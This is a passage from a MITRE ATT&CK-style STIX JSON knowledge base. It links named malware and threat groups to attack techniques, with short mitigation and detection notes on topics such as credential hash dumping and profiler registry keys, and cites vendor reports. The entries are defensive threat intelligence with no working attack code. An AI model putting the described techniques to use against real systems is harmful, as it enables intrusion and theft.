protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, protocol port mismatch, anomalous syntax, or structure). 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(2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."},{"source_name":"Crowdstrike EvilCorp March 2021","url":"https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/","description":"Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021."}],"modified":"2021-10-01T20:31:32.462Z","description":"(Citation: NCC Group WastedLocker June 2020)(Citation: Crowdstrike EvilCorp March 2021)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5080d8c-37e3-4a64-8983-f92356850c99","type":"relationship","created":"2020-12-30T16:39:34.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JoeSecurity Egregor 2020","url":"https://www.joesandbox.com/analysis/318027/0/html","description":"Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."},{"source_name":"Cybereason Egregor Nov 2020","url":"https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware","description":"Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."}],"modified":"2021-03-22T22:05:59.545Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has used batch files for execution and can launch Internet Explorer from cmd.exe.(Citation: JoeSecurity Egregor 2020)(Citation: Cybereason Egregor Nov 2020) ","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d2d9b59-a152-4280-ac57-ce5416cbbe61","type":"relationship","created":"2020-02-11T18:40:00.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-11T18:40:00.043Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f2ee424-4550-48ac-b995-2cdae87f45f9","type":"relationship","created":"2020-10-01T01:41:08.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-10-01T01:41:08.750Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85b3d881-a9d2-45ff-a980-95d0bd9a3dd1","type":"relationship","created":"2020-02-21T17:31:33.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-08T21:00:52.886Z","description":"Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2398e409-24d3-4dd9-9353-8b6cf9eee81d","type":"relationship","created":"2021-04-08T18:09:43.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-08T18:09:43.112Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has used Unix shell scripts to execute commands in the victim environment.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d3f773c-ed0e-4db4-8457-204a7a33eb58","type":"relationship","created":"2020-05-18T17:31:39.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.453Z","description":"[Maze](https://attack.mitre.org/software/S0449) has checked the language of the infected system using the \"GetUSerDefaultUILanguage\" function.(Citation: McAfee Maze March 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--569815f7-4a3f-47f3-8903-0b0b2d409c3c","type":"relationship","created":"2020-09-23T15:18:36.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.438Z","description":"[MiniDuke](https://attack.mitre.org/software/S0051) can use control flow flattening to obscure code.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4445491-4549-4333-b6b8-034ab4932295","type":"relationship","created":"2020-08-11T21:15:35.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.509Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can issue SOAP requests to delete already processed C2 emails. [RDAT](https://attack.mitre.org/software/S0495) can also delete itself from the infected system.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--090866bb-20be-4955-84f0-e581b2d5890a","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--84e09e1a-b670-427e-8f35-1c472ac7a988","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-17T00:54:45.751Z","description":"[Dipsind](https://attack.mitre.org/software/S0200) uses HTTP for C2.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--e170995d-4f61-4f17-b60e-04f9a06ee517","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--256ce066-f81e-4cc4-bd5e-d83f7881f109","type":"relationship","created":"2020-03-09T14:07:54.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/","description":"Steven Sande. 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Retrieved September 21, 2018.","source_name":"applescript signing"}],"modified":"2020-08-03T21:40:52.134Z","description":"Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.(Citation: applescript signing) This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7083356e-b0a6-4fff-ac50-6d0ea2a841bc","type":"relationship","created":"2020-01-31T18:58:17.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-31T18:58:17.423Z","relationship_type":"revoked-by","source_ref":"attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ff492bf-f91d-445d-a29e-6e60c67a05c1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}],"modified":"2019-06-24T19:15:06.610Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.(Citation: S2 Grupo TrickBot June 2017)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89077d0b-aaa2-48b9-90d7-e253a550bfad","type":"relationship","created":"2020-05-13T19:06:23.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Silence Sept 2018","url":"https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."}],"modified":"2020-05-13T19:06:23.919Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used ProxyBot, which allows the attacker to redirect traffic from the current node to the backconnect server via Sock4\\Socks5.(Citation: Group IB Silence Sept 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9cd867a-074c-4fca-8184-e6adad66af0f","type":"relationship","created":"2021-09-24T16:42:46.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-24T16:42:46.848Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) has a command to take ownership of a file and reset the ACL permissions using the <code>takeown.exe /F filepath</code> command.(Citation: NCC Group WastedLocker June 2020) ","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e5545a-6fdc-4bfe-af74-2c80416ed936","type":"relationship","created":"2020-12-22T18:36:12.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-29T17:42:13.761Z","description":"[DropBook](https://attack.mitre.org/software/S0547) can communicate with its operators by exploiting the Simplenote, DropBox, and the social media platform, Facebook, where it can create fake accounts to control the backdoor and receive instructions.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aef68e46-d1e1-49b9-aade-6c1bf226e053","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. 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Retrieved August 19, 2021."}],"modified":"2021-10-15T18:50:03.563Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has collected information about running processes.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dedf19b5-f91d-4555-93fe-c551f9ca6302","type":"relationship","created":"2021-09-29T20:46:38.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.421Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used cron to create pre-scheduled and periodic background jobs on a Linux system.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a3ba187-fa84-4285-97e6-8a9383c5e66f","type":"relationship","created":"2021-10-15T13:47:16.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-10-15T13:47:16.423Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has collected data and files from a compromised host.(Citation: BlackBerry CostaRicto November 2020)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). 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Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.741Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses module networkDll for process list discovery.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c5ae5910-07ed-42f5-a51f-bca546d52885","created":"2022-03-30T14:26:51.837Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Extra scrutiny should be placed on suspicious modification of Registry keys such as COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075). Monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection.","modified":"2022-04-20T00:36:03.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31f9cd5d-bfb6-4764-a724-8e8f131099d1","type":"relationship","created":"2022-03-15T20:02:43.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"KISA Operation Muzabi","url":"https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936","description":"KISA. (n.d.). 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(2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. 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Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.","modified":"2022-04-20T01:38:51.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01323439-5287-43cd-b7d9-750e606db602","type":"relationship","created":"2020-05-08T18:41:16.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). 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Retrieved May 8, 2020."}],"modified":"2020-05-12T15:17:50.196Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has encrypted malware payloads dropped on victim machines with AES and RC4 encryption.(Citation: Kaspersky Cloud Atlas December 2014)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30df477a-f775-4349-ba03-07a3f4293db4","type":"relationship","created":"2021-07-16T15:39:37.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}],"modified":"2021-10-15T19:14:33.505Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) has the ability to inject shellcode into a donor processes that is started in a suspended state. [GuLoader](https://attack.mitre.org/software/S0561) has previously used RegAsm as a donor process.(Citation: Medium Eli Salem GuLoader April 2021)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5f24a8f-6d98-4f00-9db2-e92189f7d67a","type":"relationship","created":"2021-10-11T18:53:48.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T18:53:48.808Z","description":"[Bandook](https://attack.mitre.org/software/S0234) can collect local files from the system .(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30b85048-ba1f-4b43-b9bc-69c27e426039","type":"relationship","created":"2019-01-29T19:18:28.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"},{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.607Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can access the victim’s webcam to take pictures.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad727996-2bbd-4980-aed7-806444cab9ee","type":"relationship","created":"2020-11-17T21:06:05.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FoxIT Wocao December 2019","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020."}],"modified":"2022-03-25T13:18:54.208Z","description":"[Operation Wocao](https://attack.mitre.org/groups/G0116) can proxy traffic through multiple infected systems.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Copy","description":"Microsoft. (n.d.). Copy. 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Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","source_name":"Unit 42 Nokki Oct 